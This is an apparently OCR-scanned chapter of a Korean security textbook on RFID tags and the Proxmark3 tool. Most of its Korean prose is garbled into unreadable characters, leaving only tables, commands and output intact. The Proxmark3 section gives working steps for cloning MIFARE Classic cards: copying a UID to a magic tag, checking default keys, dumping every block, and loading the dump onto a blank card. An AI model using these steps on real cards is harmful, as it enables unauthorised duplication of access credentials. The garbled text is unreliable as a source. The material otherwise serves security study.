NFC 7+2E{7} gdstel 22, M

£ 71 3 AHR READ = FAST READ
B A NFC 7I2HE XS 2 718t

NFC 7t2H THAQIE B

Ob ... NFC 7|2E7} ESE|X| e

NFC_CNT_PWD_PROT 1 Ob 1b...NFC 7H2E I{ARIE HD 2
NFC 7}2F IHAQE HST} 2

NFC 7H2Ef 242 7FX| 1 Q= READ_CNT FH0f| ot SEE

IAQIE 2 AlE 314 HigH

—

AUTHLIM 3 000b 000b ... I} AR|E AF Al Sl4= H|$H H|2 3}
001b-111b ... HARIE AT A= Z[CH S5
PWD 32 FFFFFFFFh 22| HMA B0 A E|l= 32-bit THARIE
PACK 16 0000h IHALIE A T2 M A0 AHE &= 16-bit THAN =

= ALSS 2lef oot

RFUI - all Ob
RFUI 2 EA|=l 2E bit 2 byte 2| 242 0b

* M7 a2 NTAG21x of MRS ZUCH7L 7 =02 2dst
*MT| BT EMSEl AR ZE MU A= NAK 2H 22 0|07
* NTAG21x A M| A® E - https,/Avww.nxp.com/docs/en/data-sheet/NTAG213_215_216 pdf
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12.2.1.3. T5557
T5557 Ef & 125Khz CHE O A] Z&35H= 330 H|E Read/Write RFID Ef10|Ct O 22|= 33bit 2| 107 EE22
T JAX|DE ALEXLS| HIOJE XA S HAMO= 225bit TF AFEE 4= QACt Read/Write HIO|E{ & 32bit %E
7702 TP E|0f ULt 75557 Ol =T = U= 7|52 Ctsa 2ot
- RF/2 Ol M RF/64 7} X| MEE 7hsoh OO £=
- ME 7bEso AR Q1A T, Manchester, FSK, PSK, Biphase, NRZ
A =25 7s
. %52 255 Read/Write

- ElF Access 22 27|, 47|

12.2.1.3.1. {22 =

T5557 o] B2 2| &+ Ctgar 2ot
Block 3
Traceability data Block 2
Traceability data Block 1
Block 0
User data or password Block 7
User data Block 6
User data Block 5
i User data Block 4
g User data Block 3
User data Block 2
User data Block 1
Block 0

32 bits
B ot transmitted

12l 283. T5557 M| 22| T+ X

T5557 Ef 17} RFID Reader Of 2lof ®M&E HMA7|Z0| ZoE|H iy ZE0A M2 E0{1, OO MES
A|ZSCH RF 2E 23 Al 75557 0] SESHs A2 Block 0 0ff X& &l 74 o|o|E{of 2t Ch=C}

1% EQST
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12.2.1.3.2. Configuration Data
Block 0 2| 78 H|O|&{= CtZat Ztt

master code Bit rate Encoding psk A Max Block P S P
d o woT 0
R D R
12 284. Block0 74 Cf|0|E{
T4 HO|H2| = MF Atet2 ChE1F 2o}
-bit0: s HIEE 1 2 H7YSIH MEdGH BEE9| FIF 47| 7} YX|ECH 42 HOHE A= A2 YX|5tH
OTP 22| & Bt=E=0H =utFo|Ct,
bit 12-14 : Transponder 7} Reader O

H&Sh= Ho|H HIE HE
I C AJO|29| HE M&ES MESIC}
I:

. bit 16-20 : A|ZH A| Q1AL T2EES AN
HIO|E{ 7t Ef20IM 2|HE M&

E2 Z7YTILE 101 o HIE I{H2 64 HIE

Ol'l

- bit 25-27 : E&F 97| REQAM

£ FAE BET r 15557 2| 42 0| Zt2 0 0|A] 7 7kX|O|C},
- bit 28 : ST HEE HFSIH A= REE 93t 23 BEOM ZE 252 Y7L 47| TOj| A= E
ELHOF stCt =Rt &5 = Block 7 Off HEEICH
7 70l AFERE ol EF 2ok= 1 HO|X|of 2 7He| FX Y Ho|E 50| ULt O] HiojH 252 BEY =+
gl MZEYH, ZE, 2EE ¥z 3 SHI| AAE FHSEY| ot 7|Ef GO|HE Z&otct.
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12.2.1.4. HID Proximity

HID Proximity TAG = H|

BE4 7|z

E0{& 7| TAG 2 ME &Lt

old
=T

2, 0/=2| HID Global MM =Rl =2 HEo| £ SH

HID Proximity Tag 2| £

- 125KHz FL}t=0 N &

- UID BF 4%t

2 L=t 2ot
b

112! 285. HID Proximity 7}
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12.2.2. High Frequency TAG
12.2.2.1. Mifare Classic

MIFARE Classic(MF1ICS50)2 T2 T A|0|AM MXt 53¢ ME SEMOZ MIFARE £ AEHSH LHE W& E|ZUE Dt
Z2 OofEz|AHo|Mof| Ar2ECH 22|Lt2toMe 1996 WO {OjA, 1998 Hof| SILtIZIIETL O FAHS=Z
EAMEIA20 2000 HEHO Mifare Classic Tag Off 2 oF F 0| HHEO| WMEF KSX 6924 / 1SO 14443 #4 S

M2& Tag 2 HAF CHM Z| RACH

11! 286. Mifare Classic 7}E

Mifare Classic 2| §&2 CtZ&3f 2Lt
- 13.56 MHz FOt0 M S%
- 22 1KB, 16 70 MEZ MK 1742 ME{= 16 HIO|EQ| 25 4 7|2 7
-2t =g %Eoﬂ CHot AFEXE | 7bs HMA =
- A% 3 EHA Q1F (1SO / IEC DIS 9798-2)
-7 ABLE OHE o E2|AH 0| M S X[ St7| s ME T (fE2(AH0lM &) F el 7| ME
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12.2.2.1.1. H22 =
Hi22l= 1KB, 16 7 ME=Z FEEH 1742 ME= 16 BIO|ES| 28 4712 &L,

Byte Number within a Block
Sector | Block |Jo[1]2[3]4[5[6]7[8]9[10[11]12[13]14]15] |Description
15 3 Key A Access Bits Key B ector Trailer 15
2 Data
1 Data
0 Data
14 3 Key A Access Bits Key B ector Trailer 14
2 Data
1 Data
0 Data
7 <] Key A Access Bits Key B ector Trailer 1
2 Data
1 Data
0 Data
0 3 Key A Access Bits Key B ector Trailer 0
2 Data
1 Data
Loy 1 | | |Manufacturer Block

a3 287. M2 =

12.2.2.1.2. §|Z=AL EE
N OBW ME{(ME 0)Q R HM HOE £2 (22 0) O|Ct IC MZAYHM Clo|E{7} Zetz|of on, 2ot U
AAE QT AFSORZ QIsf O] 222 AAA| IC MEYH A T2 Y o S M7| WX SIC

MSB LSB

X X X X

>
>
>

0

Byte 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Serial Number Manufacturer Data

Check Byte

13 288 M=ZALES
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12.2.2.1.3. H|0O|E| EE
DE ME0S HOEE XA Bt 16 HI0|EQ| 37 £20| ZEECH (MEH 0 o= £ 7Ho| Ho|H 221t
97| M8 MZUN 2=0t ZBtEICt)

UM A HEO o3 ChEa 22 87|/27] 252 #+9E + ULk

- M E 7HAS A MO Qe Bt A Haet 22 FIH BHO| MSE= A KT ofE2(AH 0

Byte Number
Description

Value Value Value Adr | Adr | Adr | Adr

12.2.2.1.4. Value £ &

Value 252 A K& 7|s& &2 = UCL (RES F: 27|, 27|, &, &2, =4, HF)
Value =52 18 & H0|H Y42z @7 ZX| 8 73 & #Y 2A2[E 5 ESCt
Value £52 Value 5 g42| 47| HAUS SHMP dde 5= At

Value : 2 U= 4 HIO|E ZtS LtEHEL Value o Z|5tH9| HIO|E= X[ote] T4 HIO|EO| MFECL S U2
BE 29| B4 YA2=2 XMYECL MOl #2481 22t¢2o| O|f 2 Value= 3, 2 #Ho| H| 27 Sl 1 B9
oz MEEtt

Adr: 2 22| Fig [f E59| 2E2[X] F2E NIot=H M8 & U= 1HOIE F2E LIEHHD
T HOIEE W, & # 2 8L | 2P MZELCH 37t g2, 52 % S Y Sole F271 HEEX]
e 27 S SHMT HEY = ALE

Zt ME o Erf 2 (OHX[8 =25)= ChSat 20 8 &Lt

CHIZ 7] ASHB (ME AREH - 942 Of =2 (0" et

-HIO[E 6 ... 9 Off M=l o MEQ| 470 S50 CHeh HM 2 =A
- M A HIE= OOJH 252 R(&7I/247] £= @)= X178

7 B7t 2R5HX| o™ =5 32| OHX|Y 6 HIO|EE HIO|H HIO|EZ AHEE &+ ULt
ME EZ &2 HIO[E 9= ALEAL HIOIEO| AME 7tSSILt. O] HIO|EE HIOIE 6, 7 & 81t S&TH AN~

et HEolof St

—

o
8]
(V)
I
o
[}

7 8

w
—
=

11 12 13 14 15

Byte Number
Description

Key A Access Bits Key B (optional)

O3 290. ME| Erf|ey
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12.2.2.1.6. WM A

=4

ZE OOl 25 ¥ MH Ey Yo Cigt AMA =H2 3HEZ Folk| X|FE HEQS| ME E ¥y H
g A HtMo 2 MEECH HMA HE= HE 7|A X BE AMESHY HZ2| WA A HotS HO{BHTE UM A
7= 2E 7|12 L0 AXY HHA 70| O SEZ 5 8St= of HEE 5= ULt
*ZF M 22| HMADCH R =2|7F M ZHO[ FAIZ Holotrt Al futE AX|SHH MM MEHE |8
= ich
* O Y0 M= BMA HEE H| BN ZEOAMPH AIgEICE
Mifare Classic (MF11CS50)2| L& =2[= YHO| 215 HEA}t 0|20t AL = 5F otrt
Access Bits Valid Commands Block Description
C1: C23 C3: read, write — 3 sector trailer
C1z C22 C32 read, write, increment, decrement, transfer, restore — 2 data block
C11C21 C3 read, write, increment, decrement, transfer, restore — 1 data block
C1,C2,C3, read, write, increment, decrement, transfer, restore ~ — 0 data block
13 291. Access Bits &
Byte Number 0 1 2 3 4 5 6 7 8 9 [ 10| 11 |12 13| 14 ] 15
Key A Access Bits Key B (optional)
Bit 7 6 5 4 3 2 1 0
Byte 6 | & | & | & | & | @ | @ | @ | o |
Byte 7 | C1z | C12 I C1: I Clo | 3z | T3z [ T I T3 |
Byte 8 | a3 | e | e | % | @ | o | o [ 2 |
Byte 9 | | I I | | l | |

7! 292. Access Bits X
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12.2.2.1.7. ME| Egj|Y2{o] HMA =A
ME| EYD (B2 3)2| WAA HIEO]| 2} 7| X BM|A HIEO| ChEE 47|/27| BM|AL never, key A, key B’ EE= key A |
B IAEE= 7| BE X|HEICE

& 33 A, ME S U 7| AQl ANA ZH2 24 FYOR APE HOEICE e TYOIN 7| BE 92 4 Yooz
7| AS AREBIO A FLEE QISSHOF BIC A BIE XS AEHE 4 9002 oS OISt oh SO St FOI8

7| = 0f0F St

Access condition for
Access Bits Remark
KEY A Access bits KEY B

C1 c2 c3 read write read write read write

0 0 0 never Key A Key A never Key A Key A Key B may be read
0 1 0 never never Key A never Key A never Key B may be read
1 0 0 never Key B Key AlB never never Key B

1 1 0 never never Key A|B never never Mever

0 0 1 never Key A Key A Key A Key A Key A tr:::’pgr:n?gn?i;ur?:t[it)n
0 1 1 never Key B Key AlB Key B never Key B

1 0 1 never never Key A|B Key B never never

1 1 1 never never Key A|B never never never

121 293 ME| B2 AM| 2 =

*oMoz BAlE M2 7| BE &S & AL HOIHO MAEE = U= HM L =HO|CH
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12.2.2.1.8. E1|0|E1 =5
HOJE £2 (E20...
=7 BEXI’SE_IEr.

O] HMA =2
2)2| KA~ HEO meat 8

171/ 7] BN A= ‘never,

'key A, 'key B' EE= 'key A | B' (7| A

L 97|/m7| 22 97| U M| Frelo| B{REIC}
- Value 5 : F7HHQ ¢t 571 &4, S 8 52 5{82tLt (001)2 E2 MY =+ Sl= 7=
97| Y AR FHSBICE (110) 22 ZRE 7| BE ArgSlol HEHE + ULk
HZEAL 22 97| MR RAS MM A HE MHO| JBS WX| el
<70 e 1S FEoM B0 7| AE ARSSHOF BhTt
Access bits Access condition for Application
decrement,
oy | Cc2 C3 read write increment transfer,
restore
0 0 0 Key A|Br11 Key A|B Key A|B1 Key AlB transport configuration
0 1 0 Key A|Br11 never never never read/write block
1 0 0 Key A|Br1] Key B1 never never read/write block
1 1 0 Key A|Br1] Key B! Key B1 Key AlBT value block
0 0 1 Key A|Br11 never never Key A|B! value block
0 1 1 Key B[1] Key B! never never read/write block
1 0 1 Key B[1] never never never read/write block
1 1 1 never never never never read/write block
0% 294. G|O|E] E5 WM& =7
CO ST ME EH YR 71 BE U2 4 Us B AT SIoh ASE 4 QICh (FMOE BAE BE )
21 27t Moz BAIE ML =HS ALESHY 7| BE MBS S5 2Tt o, 28 2 tE=
FE HEE HMAE ARSI
MIFARE Classic &Ml A3 £ httpsy/Aww.nxp.com/docs/en/data-sheet/MF1S70YYX_V1.pdf
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12.2.2.1.9. Proxmark3 22l
hf tag Ef 2 =QISHCt

[usb] pm3 -> hf search

[usb] pm3 — hf search
Searching Fox ISOlhhh’ A tag.
UID: E EC
ATQA:
SAK: [
Possible types:
MIFARE Classic 1K

proprietary n is014443-4 card found, RATS not supported
Prng detection:

Valid 1

12! 295. TAG EIY! ol

& QI3 tag = I1SO14443-A 712 2 2 MIFARE Classic 1k EFJ2 2 Of & EICh
ifollMet 22 LOZ siY EtA0M ALE 7hsot 3-8 S =fQIotH 14a & MEE 5 ULt

[usb] pm3 -> hf help
[usb] pm3 -> hf 14a help

hf 14a & & info B ALESIY tag o SEE =QIotCt
[usb] pm3 -> hf 14a info
[usb] pm3 — hf 14a info

roprietary non 15014443 4 card found, RATS not supported
rng detection:

1% 296. TAG HH =0l

fof OFXZFX| 2 'search’ @8 Z1tet 22 LHES = &= AL A7|M tag 2| UID 2 Possible type, o 44

LN2FE ZEE & = ULCE THF Possible types O O12{7tX| 7} LI-2CHH EFY 2 2P E 4= QICH MIFARE Classic
Tag= ¢ 82 20| F7HH2=z =0l 7kt HOo|EH7}t glen, 7| =& S¢t HOo|H B2 71 §& =Ql0|
7t StLt.

MIFARE EtRO|H 14a HEH 20| mf FE AMEO| 7+&SICE mf £ 14a EC CHYe FHO| EXYSt=0|, i
HH2 CHS MEOA AR =S SO}
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12.2.2.2. Mifare Ultralight
MIFARE Ultralight (MFOT1CU1)2 NXP Semiconductors 0| A ISO/IEC 14443 A Of [z} HIE =

AOE FHE0] MEE =5 & QUL

1% 297. Mifare Ultralight 7+=.

MIFARE Ultralight 2| £d-2 CtS1F ZC}

- 13.56MHz Fot=0| A S

- 512-bit, H|O|X| & 4 HIO|EM 16 H|O|X| 2 T4

- ISO/IEC 14443-3 Of [}2 7 HIO|E UID

- Y23 Is Gls

- 32 HE A X} H9O| 7t OTP (One-Time Programmable) &<

-Io|X] & HE Z202iY Jts Y| M8 I YIS

CHE #™ Tag 2+ Ultralight C, Ultralight EV1 EFRI0] 2 X}O|& CHSob 2ot
- Ultralight C Tag Ofl= 3DES &= 3} 7| 50| F7t

- Ultralight EV1 Tag Ol = THAQIE 223t 7|5 X ECC MY T =2l 7|&50| =7t

A ADbE EJH EE
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12.2.2.2.1. H| 22| =
HEZ2|= 1KB 16 7 MEZ FEE|MH 1 71| ME= 16 HIO|EQ| 25 4712 Fd=ICt 512 H{E EEPROM HE2EZ|=
I|O|X| & 4 HIO|EZ 16 H|O|X|Z2 T4 =IC}

Page address Byte number
Decimal Hex 0 1 2 3
0 00h serial number
1 01h serial number
2 02h serial number internal lock bytes lock bytes
3 03h OoTP oTP OTP OTP
4to 15 04h to OFh user memory
H|O[X| 04h ~OFh & AFEX} 817(/227] SHOICE MZF Y4 = HO|H HO|X|= Chg #t22 =7|tElCh

- |O|X| 04h 7} FFh 2 X7 |3}&!
- 05h ~ 15h H[O|X|= 00h 2 Zx7|3}E!

12.2.2.2.2. UID/Serial Number

TR 7 HIO|E U3 HB (UID)Q 2 7HO| ZAAF HFO|EL HO|X| Z=4 00h, 01Th % HO|X| 02h o & W
HO|EE Zelste H22|e] MF 9 HIO|EO Z==12fYy FCh HO[X] F& 02h of & HA BO[EE LF
HOIE&22 Ofof=|0f UL} O] HIO|E= ICHEYM O Z2 e dotH 2o 27 Ardo =2 QI8 M7| &X|7}

E[0f ALY,

MSB

LSB

Manufacturer ID for NXP Semiconductors (04h)

page 0 page 1 page 2
Byte 0 1 2 3 0 1 2 3 0 1 2 3
Serial Number Serial Number
Part 1 Part 2 Check byte 1
Check Byte 0 internal
lock bytes

712! 298. UID/Serial Number Bytes 7143

ISO/IEC 14443-3 O [t2™ Check Byte 0 (BCCO)2 CTASNODSNTHSN2 2 HO|Z|1 Check Byte 1 (BCC1)2
SN3@SNA@SN5@SNG6 S 2 Ho|=ICt,

SNO 2 ISO/IEC 14443-3 % ISO/IEC 7816-6 AMD.1 Of 2t NXP Semiconductors (04h)2| NZ=%H ID £
HQsC}

207

EasrT



12.2.2.2.3. Lock Bytes
H[O|X| 02h 2| HIO|E 02h & 03h 2 HIEE EHE Z21 Jts 97| & T3 HAHLSS LIEHHTE =71 A7)
|E Ix & =8| 1 2 2738306 03h (OTP)OA OEh 7tX|S| 2t H|O|X|E
Moz F=2 + UCh 3 = mHo[X|= 7| M8 mZe2[7 £t &3 HIO|E 02| 3749| %59 HIEE=
2|

St HIE 01h = 09h-04h H|O|X|E X2|stH HIE 02

[m
—

@)
_|
=z
E
o
A
i
R
i)
rot
o

O
MSB LSB MSB LSB
L L L L L BL BL BL L L L L L L L L
7 [ 5 4 oTF | 15-10 | 94 oTP 15 14 13 12 1 10 9 8
page2 _///_/
8 9 10 11
Lx locks page x to read-only
BLx blocks further locking for the memory area x
lock byte 0
lock byte 1

Important security : To activate the new locking configuration after a write to the lock bit area, a REQA or WUPA
command must be carried out.

12! 299. Lock Bytes 7+

rE

oo ox 0¥ oM

O =0{ BL15-100| 2% 1 2 @FE 2% 2 0|A HE L15 ~ L10 (&3 HIO|E 2 H|E[7:2)2 O 0|4

&3 HE= WRITE B30 olsf 2 HO|X|=2 &FECH WRITE &2l 2 & 3HI0|E
HHOJEQ| LH&2 HIE & Tl Adt= TE HO|EQ| MER L{&0| EICh HEJ =2 12 dFH
Oof Z2M2= =8 = o o= CtA| #MZg = gith 2 HOo|X|e HO|E 0 & 1 2| Lf

0
WRITE @219| 8j|Et O|O|E{ HIO|EO| Y&k BFX| =L}

A =
Stk w3 Y 22

0
fo 4o ol not
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12.2.2.2.4. OTP Bytes

| O|X|] 03h = OTP H[O|X|O|H M4t 20 2E HEZ 22 0 22 AEEESE AHO 27FECH O] HIOIE=
WRITE BEE A8310] HIE CHR|2 +=3e 5 UCL
example
page 3 default value OTP bytes
Byte 12 132 14 15 | 00000000 I 00000000 00000000 l 00000000 |
1st write command to page 3
| 1111111 | 11111100 | oooootor | 00000111 |
result in page 3
11111111 11111100 00000101 ‘ 00000111 |
QTP bytes
2nd write command to page 3
| 11111111 | 00000000 00111001 ‘ 10000000 |
result in page 3
| 11111111 | 1111100 | oor11101 | 10000111 |
This memory area can be used as a 32 tick one-time counter.
13 300. OTP Bytes T4
WRITE & HIO|E % OTP HIO|EQ| ¥iXf L§&2 HIE THe|Z OR E Lt Zit= AME2 OTP HIO|E L{&O|Ct. O]
ZEMAe EEE = QRN HEV =2 12 285H =2 022 CHA| HES 5= giT}

MIFARE Ultralight &Ml A

A |
il

Xt

[
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12.2.2.2.5. Proxmark3 ¢!
MIFARE Ultralight Et Q2 2QIStC}

[usb] pm3 — hf 14a info

UID:
ATQA:

SAK:
MANUFACTURER:
Possible

NTAG 2xx
proprietary non isol4443-4 card found, RATS not supported
Hint: try "hf mfu info

mfu B &2 MIFARE Ultralight Et 10| A AFE 7tstt HHOIZE ST

o = - =
ULt
[usb] pm3 -> hf mfu info
[usb] pm3 — hf mfu info
TYPE: MIFARE U EV 8bytes (MFOUL1101)
UID: :
uIp[ej:
BCCO:
BCC1:
Internal:
Lock: 00 - 00
OneTimePad: 00 00 00 - 0000
[0]: 00 00 00
- BD tearing (
[1]: 00 00 00
- BD tearing (
[2]: o0 00 00
- BD tearing (
IC signature public key name: NXP Ultralight Evl
IC signature public key value: ©0490933BDCD6E99B4E255E3DA55389A827564E11718E017292FAF23226A96614B8
Elliptic curve parameters: NID_secpl28ril
TAG IC Signature: B27376ADAEB1CDEFF122622A1C83105125AE1FAC3C22CBD55497DB5777F5FB78B
Signature verification ful )
3 302. TAG MK &9l
o 1 (o] cCo 3 Sk A O
tag §2, HTE, 79, LT AHE M8 S =AY =+ ATt
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12.3. 84 315
12.3.1. Proxmark3

Proxmark3 = Jonathan Westhues 7t A& 7H23}H O, RFID 242 <%t
135KHz 5! 13.56MHz Ol A{ Zt&3t= ZE RFID A|AEIO| CHs 917|/A7], 24, BIx, &/

RFID 242 ¢t M8 HE| =40|C},

12.3.2. Proxmark3 A X]
ot a4 Z4HE| 2|52 2020 HE S 7|20 2 R g QUL

12.3.2.1. I{7|X| C}REE

Sie FEOE HASIA Proxmark3 & AFESHZ| 91 2t0[EE2] S5 &

K|St

$ sudo apt update

$ sudo apt install --no-install-recommends git ca-certificates build-essential pkg-config libreadline-dev gcc-

arm-none-eabi libnewlib-dev gtbase5-dev libbz2-dev libbluetooth-dev

12.3.2.2. Proxmark3 A X]
Z|A A Q| Proxmark3 £ git FHO 2 CH2EE oL

$ git clone https://github.com/RfidResearchGroup/proxmark3.git

Proxmark3 2 &0 Z5H= modemmanager S H| 23| SEAHLE ALK ST

$ sudo apt-get remove modemmanager
or
$ sudo systemctl stop ModemManager

$ sudo systemctl disable ModemManager

CH28t2 proxmark3 E2C 2 S£0{7} Y ESC

$ cd proxmark3

$ make clean &8& make PLATFORM=PM3OTHER
or

$ cp Makefile.platform.sample Makefile.platform
$ vi Makefile.platform

PLATFORM=PM3OTHER 37} & make install

211
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https://github.com/RfidResearchGroup/proxmark3.git

12.3.3. Proxmark3 &3
USB 2 Proxmark3 2t ®1Z4%t & dmesg BHOZ AZZ|AE=X| =HOISHDt

$ sudo dmesg

-[~/iot/rfid/proxmark3

: USB disconnect, device number 5
new full-speed USB device number 6 using xhci_hcd
New USB device found, idVendor=9ac4, idProduct=4b8f, bcdDevice= 1.00
: New USB device strings: Mfr=1, Product=2, SerialNumber=3
Product: proxmark3
Manufacturer: proxmark.org
: SerialNumber: iceman
2-1:1.0: ttyACMO: USB ACM device

112! 303. Proxmark3 ¢1Z 29I

AL

ZEHo 2 ttyACM0O 22 AZE. HZO| = A2 Proxmark3 & M THLY.

$ sudo ./pm3

~/iot/rfid/proxmark3 ]

Session log /root/.pro
loaded from JSON file
Using UART port /dev/t
Communicating with PM3

Iceman =
# bleeding edge

https://github.com/rfidresearchgroup/proxmark3/

QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-root’

[ ‘ t=l

[ CLIENT ]
client: RRG/Iceman/master/v4.9237-3147-gd1468b815 2021-02-18 16:23:09
compiled with GCC 10.2.1 20210110 0S:Linux ARCH:x86_64

112! 304. Proxmark3 A3l
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o
L
ol

o

HS AT5l0] Proxmark3 7t HA& S&SH=X| 2HOIstCt,

[usb] pm3 -> data plot

Plot [/devittyACMO]

©0..0 dt=e zoom=1.00 Curs|

s=0  GridX=64.000000 GridY=64.000000 (Unlocked) Gr.
]

Autocorrelate | AskEdge | Dirthreshold

Edge Jump Threshold 25

[usb] pm3
[usb] pm3
Apply Restore

4000

1@ 305. Proxmark3 S5 29l
DFOF Proxmark3 & Ale M BT 0|27 LdstALy, BH & Al ‘data in Graphbuffer was too small’ 0fl2{7t
ot 4% M O|0[X| 2 flash StCL.

= HES & X USB E &9l flash ZEEZ HASIH

12! 306. Proxmark3 2= HE

flash EE2 HZAE|™H XA 0|0]|X| flash E A| =3I}

(2HSf flash 7} QEICHH CHA| flash 2E2 USB AL U flash 7t 2 WX HES F+ECt)
$ sudo ./pm3-flash-all
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12.3.4. TAG E}2! =9l

=]
7tE EtYS 2HRISHE R If, hf Off 2t 2HZ) search FES AL

[usb] pm3 -> If search

[usb] pm3 — 1f search

NOTE: some demods output possible bi
if it finds something that looks like
False Positives | possible

Checking for known tags ...

14006DA513

11969992
88119699

Other

Pattern

Pattern 7

Pattern Sebury T 4244 4 3581384 [©=AS5CS €

e e N N N N N N N N N N N N B N N R N N N N N W W |

L R e B S SRy |

[+] Valid EM41 ID found!

Couldn't identify a chipset

[usb] pm3
[!] A

13 308. 0|2 &=
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12.3.5. TAG X % 324
MIFARE Classic EtQ{o| 7tEE CfA o2 25X 9 32§ [HO|E HZX 59| HAE
12.3.5.1. TAG 55X

12.3.5.1.1. UID EX|
MIFARE Classic Et22 UID 5|7} 7t&%t TAG 7t EXH5HH Magic TAG 2F = ZIC}

gt

i

HX MIFARE Classic EtY TAG 2| UID £ ZQIBHCt.

[usb] pm3 -> hf search

[usb] pm3 — hf search
Searching for IS014443-A tag...
UID: E2 E
ATQA:
SAK:
Possible

types:

ARE CL s1C 1K

proprietary non isol4443-4 card found, RATS not supported
Prng detection:

Valid 1s01

112! 309. TAG UID &9l

HMEE tag 2| UID = 'E2 89 E0 55" O|C}. HZEY Ty TAG o BEE =fQIstTt

} —» hf search
rching for ISO14443-A tag ...

1 static nonce
Static nonce:

Auth err
Hint: try commands

Valid IS0 14443-A tag found

12 310. TAG HE =91 (HZECi4h
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Magic capabilities 7t Gen 1a £ magic tag 3& AL 7HSSICE magic tag 7t £t mf 38 S UID £ 48 +
UE ‘csetuid’ FHO{E S| UID & 'E2 89 EQ 55'2 HABICE [97 85 D5 3C -> E2 89 EO 55]

[usb] pm3 -> hf mf csetuid -u [FAE UID]

usb] pm3

[

[+] old bl
[+] new bl
[+] O0ld UID.
[+ ] New UID.
[

card found, RATS not supported

“hf mf~ commands

Valid ISO 14443-A tag found

J3 311. UID HE

uID 2 0| &3t0] 2IF5tE 2[H7|e] 8%, UID & SA|¢et Tag & 0| 83t] QIEdt= A4E0| 7Hs5tCt.
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12.3.5.1.2. H|O|E| EX|
Tag W CIOIE{7} 25 iRl 7|2 A&t/ UL},
Qo3 & 2x|5t0) ALRO| JHsStC}.

7| 30| Jt5E AL 7| IYS 0830] HlOEE

HY SX CHAS| 7H= EFRQIO| MIFARE Classic 1k &= 2HQIZHCE MIFARE EtRI9l 7IE= MEIIE, WEILE,
EQIIE 5 MMM 20| AFRE| D 92O, MIFARE Classic EFQl2 F| st EFQIo| Ej 1 = &}L}O|LC},

[usb] pm3 -> hf search

3 — hf h
SO14443-A tag ...

, RATS not supported

/ “hf mf" commands

33 312. Ef EfQ =0l

CHe 7EES| 7] 242 =Qlet 2, 7| ¢t §ES AAYCh oY 7tE9 39 ZE ME7E €27 7| ¢E M85t
UARoH, 227 7| ¢S AH8SIL UAX| %2 B2 nested, darkside 52| HEQ| 324 S¢f 7| 2t2 U=

IpEe Mokt

[usb] pm3 -> hf mf fchk --1k --dump

/ 1:5uccess )

y file

R R R e e

dumped to hf-m
FFFFFFFFFFF ¢— has been i

A& 313. 7| &l 89 7| oY BH=

Bzt 7| LS 0|80 HO|HE FIotot.

[usb] pm3 -> hf mf fchk --1k --dump

Succeeded in dumping all blocks

saved 1024 bytes to bipary file hf-mf-22
saved 64 blocks to text file hf-mf-
saved to json file hf-mf-22 —dump . jso

aE 314 9|

OI<3 I

&3510] Hjo[e H=

217
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Hzot HOlH oS gl 7hE0| SXH|otrt.

[usb] pm3 ->hf mf cload -f {5 It}

[usb] pm3 d -f hf- dump.eml

[+] Card loaded 64 blocks from file
[=] Done!

8 315. H|o|E] H=ujd S|

33 316. H=nld x|

=Xet Tag & 0|83t 21S3t

rir
i
oo

0| 7ts3dtLt.
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12.3.5.2. TAG 7| 33 5! G|O|E| H=x

tag o HIOIH= 7|2 B30 QUCH ofX|2 L& E40t Z2 7|5 2 5510] EoE HO|HE =ele 5= ATt

12.3.5.2.1. TAG 2| L 80| &%l 7|20 HS EH H2
tag O L&0| LTl 7|20 BB E|= ZR ‘fchk BHES 0|80 &l = QUCE ‘fechk' BHE tag 2| ZE 7|8
L7l 7| E2 WEH =elstit 04 7[A -1k’ &2 MIFARE Classic 1K Et2/0|7| j-20|LCt,

[usb] pm3 -> hf mf fchk --1k

[usb] pm3 — hf mf fchk —1k
[+]1 No k specified, trying default keys

B] FHFfffffifesf

1]

2] ala
3] bl.‘lblb._
4] clclc
5]

12 317, L% 7| AL o

4r
J
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7] Bt At R ME{J LT 7|S AFRSHE F 2 & U (RE ME{Q| 7| : FFFFFFFFFFFR)

O L T S O e S e e L L [ = [ B R B R B [ B R B [ B B
HFEREFRRRPRRRRRRRRRB
e e e el el e

a3 318 Y% 7| AFE

O]7|M &S XIE3H key CIOIHE BZESHY T2z dde 4= ATt S dE 7| TtL2 HOlH FF Al AH8E +
ULt

[usb] pm3 -> hf mf fchk --1k --dump

[+] € @:Failed / 1:Success )

[+] Generating binary key file

vs have been dumped to hf-mf-8 bin
—> O=FFFFFFFFFFFF <— has been ins

9 71 o222 hf-mf-[uid]-key.bin THLZ MFECH =59t 7] OtAS 0|8st0] HOH HIZE Al=DHC.

HOlE HZE= 'dump BBES ALESIH 7| LS X FSHA| f= of I 8d &0 R= 7| TtUS 0|t

[usb] pm3 -> hf mf dump -1k

sb] pm3 — ht
Using “hf-mf
Reading

Finished reading sector
Dumping all bloc

5
5
5
s
s

JE' 320. 7| ojYUS 0|8 CIO[E HE A=
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HOlE EZ Al Al 37tX| mpO| YGECh eml LtU2 ME LY CIO|E7} B2l T2 = ofF oS 0|83 CHE

tag Off HIOIHE =X 5 AL

Succeeded in dumping all blocks

file hf-mf-

64 blocks to t
ed to json file hf-mf

Proxmark3 O|A X|3ots =2 MEH MIZHSH 52 =olg = QULCH Proxmark3 & 242 {8t o2 0|

tools Z2E0f X3 A2L| Bt E2 =5t AEY & ULE (F7I2 E2S S0 AT HMDBI0 7t
HX| 7+s35tct)
$ tools/pm3_mfdread.py hf-mf-[UID]-dump.bin

Ihume/kall/lut/pruxmarkE

1% 323 @z oi EM

i tag ©f ME{Q| HO|Ef U I AS Holgtct
HolEf S2of M2 HEH0| 000 OB A i B 7|2 Y7I/M7|7} st Lt g
ZgE ROz £ 4 g UHEOf ALt magic =9 o B2 tiT 2o Ho|E 2

e 4+

7] A2BHHT S0 B2 SWUE B AT MEO] 271/t o

=
M, =512 HOIHE =elstot.

=
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[usb] pm3 -> hf mf rdbl —blk 1 -k FFFFFFFFFFFF

[usb] pm3 — hf mf rdbl —blk 1 -k FFFFFFFFFFFF

| ascii

-
1 | 00 00 90 00 00 Q0 99 00 00 Q0 Q0 00 00 Q0 0O 0O |

A&l 324. H|o|E] kol

>
N
o]
o
rlo
é‘
S
Hu
Bl
0x
mot
i
I
ot
s
o
>
ol
mot

—

=5 &7| Y= I% H 1 % 19| HO[HE B=3ICL =5
x

y A - FFFFFFFFFFFF
00 20 00 90 00 00 ©0 0O @0 00 OO0 0O

373 325. H|O|E| X A=

BEE LES &2ot7| ?lof 25 87| Y S AESL). BES test' 7t SHEIL.

=

[usb] pm3 -> hf mf rdbl —blk 1 -k FFFFFFFFFFFF

